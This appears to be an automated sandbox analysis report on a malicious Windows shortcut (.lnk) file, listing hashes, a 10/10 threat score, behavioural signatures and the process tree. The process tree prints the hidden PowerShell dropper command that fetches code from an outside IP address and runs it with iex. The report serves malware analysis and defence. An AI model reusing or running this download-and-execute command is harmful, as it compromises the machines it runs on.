Analysis

  • max time kernel
    90s
  • max time network
    123s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/04/2024, 09:55

General

  • Target

    1ec69271abd8ebd1a42ac1c2fa5cdd9373ff936dc73f246e7f77435c8fa0f84c.lnk

  • Size

    2KB

  • MD5

    5ae91dc5c2f16efbed5548f489f87b93

  • SHA1

    d70aaf5dd29196ec165dcc091bbaa0f2a3dae18b

  • SHA256

    1ec69271abd8ebd1a42ac1c2fa5cdd9373ff936dc73f246e7f77435c8fa0f84c

  • SHA512

    14b0ae0d41d514b64970b1fccc4d65424c2027f43119005c596996103b16da45bae908bbc5a7fc1408a367174babdd575d999340feba538676395d7a0c7ab493

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://194.180.191.105/verst

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\1ec69271abd8ebd1a42ac1c2fa5cdd9373ff936dc73f246e7f77435c8fa0f84c.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1680
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nologo -WindowStyle hidden $(New-Object net.webclient).UploadString('http://194.180.191.105/verst','asdasda') |iex
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2076

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vsqrj4g1.px1.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/2076-12-0x00007FFF0ADE0000-0x00007FFF0B8A1000-memory.dmp

          Filesize

          10.8MB

        • memory/2076-11-0x00000222A15C0000-0x00000222A15E2000-memory.dmp

          Filesize

          136KB

        • memory/2076-13-0x00000222B9970000-0x00000222B9980000-memory.dmp

          Filesize

          64KB

        • memory/2076-14-0x00000222B9970000-0x00000222B9980000-memory.dmp

          Filesize

          64KB

        • memory/2076-17-0x00007FFF0ADE0000-0x00007FFF0B8A1000-memory.dmp

          Filesize

          10.8MB

        • memory/2076-19-0x00000222B9970000-0x00000222B9980000-memory.dmp

          Filesize

          64KB

        • memory/2076-18-0x00000222B9970000-0x00000222B9980000-memory.dmp

          Filesize

          64KB

        • memory/2076-20-0x00007FFF0ADE0000-0x00007FFF0B8A1000-memory.dmp

          Filesize

          10.8MB